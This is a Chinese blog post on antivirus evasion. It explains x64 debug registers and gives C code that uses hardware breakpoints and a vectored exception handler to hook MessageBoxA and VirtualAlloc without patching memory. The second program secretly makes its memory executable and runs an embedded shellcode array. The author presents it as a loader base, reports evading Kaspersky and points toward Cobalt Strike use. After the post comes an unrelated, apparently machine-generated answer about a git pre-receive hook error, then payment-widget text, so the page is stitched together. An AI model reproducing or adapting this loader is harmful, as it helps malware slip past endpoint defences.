免杀笔记 ---> 无痕Hook?硬件断点 Syscall!

说到Hook,我们有很多Hook,像Inline-Hook,我们也是用的比较多,但是正如我上一篇Blog说的,他会对内存进行修改,如果EDR或者AV增加一个校验机制,不断检验某一块内存,那么就算你用syscall绕过了Ring3的Hook成功修改了内存也是会被扫描出来的! 

于是就有了今天的无痕Hook ---> 硬件断点

其实也是小编收到了粉丝的建议,于是赶出来了那个代码,但是这个技术是未公开的,所以小编就不放代码,但是会公布部分,以及一些细节(我也不想这个技术那么快没用,望理解😋)

但是效果还是可以展示的(卡巴斯基30minutes未杀,但是也不建议用CS对抗

目录

1.调试寄存器

1.DR0 - DR3

2.DR7

3.DR6

2.无痕Hook

​3.免杀!


1.调试寄存器

如上图,就是Windows的调试寄存器,它位于CPU中,我们讲一些比较重要的寄存器

1.DR0 - DR3

首先就是这三个寄存器了,这也是我们能使用的4个断点寄存器,它用来存储断点的地址

2.DR7

这个就是一个比较重要的寄存器了,我们从右往左去看

首先就是前八位,包含了L0 - L3 以及 G0 - G3,其中L是局部开关,G是全局开关,分别对应DR0 - DR3

然后就是R/W 和 LEN ,分别对应着读写域和 长度域

其中读写域(R/W)有四种状态 :

00 (硬件执行断点)

01  (硬件写入断点)

10  (IO中断)

11  (硬件访问断点)

其中长度域的状态

00 ---- 1字节

01 ----- 2字节

10 ----- 8字节

11 ----- 4字节

3.DR6

此寄存器可以用于描述硬件断点的情况,当我们在DR0下断点的时候,对应的B0就会变成1,DR1-3也是如此,那么如果B0-3都不为1的话,那么说明就是TF位为0的单步异常

2.无痕Hook

我们这里还是拿MessageBoxA来举例(好像每次受伤的都是它hhhh)

#include<Windows.h>
#include<stdio.j>

SIZE_T MessageBoxAddr = NULL;


LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == MessageBoxAddr)
	{
		const char* title		= "硬件断点Hook";
		const char* context		= "已经被Hook";
		pExcepInfo->ContextRecord->R8	= (unsigned long long)title;
		pExcepInfo->ContextRecord->Rdx	= (unsigned long long)context;
		
		// 清除硬件断点
		pExcepInfo->ContextRecord->Dr0 = 0;
		pExcepInfo->ContextRecord->Dr7 = 0x0;

		return EXCEPTION_CONTINUE_EXECUTION;
	}

	return EXCEPTION_CONTINUE_SEARCH;
}

void HardWareBreakPoint(HANDLE hThread)
{
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(hThread, &ctx);
	ctx.Dr0 = MessageBoxAddr;
	ctx.Dr7 = 0x00000001;
	SetThreadContext(hThread, &ctx);
}
int main()
{
MessageBoxAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);

//没有hook
MessageBoxA(NULL, "没有Hook", "不存在Hook",MB_OK);
// 硬件断点Hook
HardWareBreakPoint(GetCurrentThread());
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
//已去除硬件断点的Hook
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
}

其实思路就是如下

  • 先注册一个异常,用于断点处的操作(操作堆栈或者寄存器)
  • 然后写一个硬件断点,调试寄存器是你要断的地址
  • 然后当你的程序调用这个函数,或者说call这个地址的时候就会触发硬件断点(具体什么断点看你怎么设置,这里是硬件执行断点)
  • 然后就进入你的Veh函数进行处理

并且我们可以看见被Hook的时候,它的内存是没有任何的改变的,这一点就能很好的对抗CRC32检测内存Patch的规则!!

这里我们也可以用一个计算器的脚本来进行加深理解(此脚本完全可以改成Loader,自行研究)

#include<stdio.h>
#include<Windows.h>

//硬件断点Hook VirtualAlloc

SIZE_T virtualAllocAddr = NULL;
LPVOID testAddr			= NULL;

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == virtualAllocAddr)
	{
		//设置为可读可写可执行
		pExcepInfo->ContextRecord->R9 = PAGE_EXECUTE_READWRITE;

		// 清除硬件断点
		pExcepInfo->ContextRecord->Dr0 = 0;
		pExcepInfo->ContextRecord->Dr7 = 0x0;

		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

void HardWareBreakPoint(HANDLE hThread)
{
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(hThread, &ctx);
	ctx.Dr0 = virtualAllocAddr;
	ctx.Dr7 = 0x00000001;
	SetThreadContext(hThread, &ctx);
}


unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};



void DummyFunction()
{
	HardWareBreakPoint(GetCurrentThread());

	testAddr = VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_READWRITE);

	memcpy(testAddr, Payload, sizeof(Payload));
	
	printf("%p", testAddr);
	
	((void(*)())testAddr)();
	
}

int main()
{
	HANDLE hThread = NULL;
	//硬件断点无痕Hook VirtualAlloc
	virtualAllocAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");

	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
	

	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DummyFunction, NULL, NULL, NULL);

	WaitForSingleObject(hThread, INFINITE);
	
	return 0;
}

可以看见我们一开始分配的rw内存也是在硬件断点Hook的情况下变成了RWX

并且计算器也是能成功弹出来的

并且我们的VirtualAlloc也是没有被Hook的(这里的Jmp并不是我们的操作,其他程序也会如此)

我们的程序 

系统自己的程序

3.免杀!

等了这么久,终于来到重头戏了,这里我不会详细讲,只是提个大体思路(聪明的你们应该能自己实现的吧😋😋) 

其实还是WBG大佬的脚本,不过是多次的升华,我们还是盯着VirtualAlloc 和Sleep这两函数

然后就是重点的Veh函数处理(这里的VirtualAlloc必须在获取反射dll和loader的产物那块地址之后进行 "脱钩" ,否则你后面BOF的执行会有问题,不用Bof当我没说。。。)

重点就是这两个啦,正所谓 "救赎之道,就在其中" 也正是我们的无痕断点,使得我们并不需要对内存进行Patch ,配合Syscall ,大家可以放心食用😊😋😋

此JMP并不是我的操作(并无对内存进行Patch)

"! [remote rejected master -> master (pre-receive hook declined)"这个错误的意思是你的代码在push到远程仓库时被拒绝了。这通常是由于一些钩子(hooks)的限制或规则导致的。钩子是在代码push到远程仓库之前或之后执行的脚本,用于执行自定义操作或验证。在这种情况下,pre-receive hook在push之前执行,而它拒绝了你的push操作。 要解决这个问题,你可以采取以下步骤: 1. 检查pre-receive hook的规则:你可以联系项目经理或仓库管理员,询问他们是否有自定义的pre-receive hook规则,并确认这些规则是否导致了你的push被拒绝。他们可能会告诉你如何修改你的代码或操作以符合规则。 2. 检查你的权限:确保你拥有足够的权限来push到该分支。如果你不是项目管理员或没有相应的权限,你需要联系管理员或具有相应权限的人来进行push操作。 3. 关闭受保护的分支权限:如果你有管理员权限或具有修改分支权限的权限,你可以尝试关闭受保护的分支权限,然后再次尝试push。但请注意,这可能会带来安全风险,因此在关闭受保护的分支权限之前,请确保你知道自己在做什么。 总之,! [remote rejected master -> master (pre-receive hook declined)的错误提示说明你的push操作被拒绝了,可能是由于pre-receive hook的限制或你没有足够的权限。你可以根据上述步骤进行排查和解决。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [git push解决办法: ! [remote rejected] master - master (pre-receive hook declined)](https://blog.csdn.net/weixin_39818813/article/details/129591891)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [Git发现git push origin master 报错的解决方法](https://download.csdn.net/download/weixin_38743602/14092211)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值